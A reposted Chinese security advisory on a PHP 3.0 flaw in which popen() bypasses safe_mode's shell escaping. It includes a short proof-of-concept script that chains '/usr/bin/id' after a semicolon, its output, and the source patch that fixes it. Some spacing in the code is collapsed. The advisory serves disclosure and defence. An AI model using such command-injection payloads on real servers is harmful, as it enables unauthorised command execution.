zl程序教程

您现在的位置是:首页 >  其他

当前栏目

PHP3safe_mode失效漏洞

漏洞 失效 mode
2023-06-13 09:13:44 时间
受影响的系统:  PHP3.00  
--------------------------------------------------------------------------------
描述:

    PHPVersion3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为"safe_mode"的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用"popen"系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp=popen("ls-l/opt/bin;/usr/bin/id","r");
echo"$fp<br>n";
while($line=fgets($fp,1024)):
printf("%s<br>n",$line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total53  
-rwxr-xr-x1rootroot52292Jan322:05ls  
uid=30(wwwrun)gid=65534(nogroup)groups=65534(nogroup)  
andfromtheconfigurationvaluesofphpinfo():
safe_mode01  

--------------------------------------------------------------------------------
建议:  
Index:functions/file.c
===================================================================
RCSfile:/repository/php3/functions/file.c,v
retrievingrevision1.229
retrievingrevision1.230
diff-u-r1.229-r1.230
---functions/file.c2000/01/0104:31:151.229
+++functions/file.c2000/01/0321:31:311.230
@@-26,7+26,7@@
|Authors:RasmusLerdorf<rasmus@lerdorf.on.ca>|
+----------------------------------------------------------------------+
*/
-/*$Id:file.c,v1.2292000/01/0104:31:15sasExp$*/
+/*$Id:file.c,v1.2302000/01/0321:31:31kkExp$*/
#include"php.h"
#include<stdio.h>
@@-51,6+51,7@@
#include"safe_mode.h"
#include"php3_list.h"
#include"php3_string.h"
+#include"exec.h"
#include"file.h"
#ifHAVE_PWD_H
#ifMSVC5

@@-575,7+576,7@@
pval*arg1,*arg2;
FILE*fp;
intid;
-char*p;
+char*p,*tmp=NULL;
char*b,buf[1024];
TLS_VARS;

@@-600,7+601,11@@
}else{
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

-fp=popen(buf,p);

+
+tmp=_php3_escapeshellcmd(buf);
+fp=popen(tmp,p);
+efree(tmp);/*temporarycopy,nolongernecessary*/
+
if(!fp){
php3_error(E_WARNING,"popen("%s","%s")-%s",buf,p,strerror(errno));
RETURN_FALSE;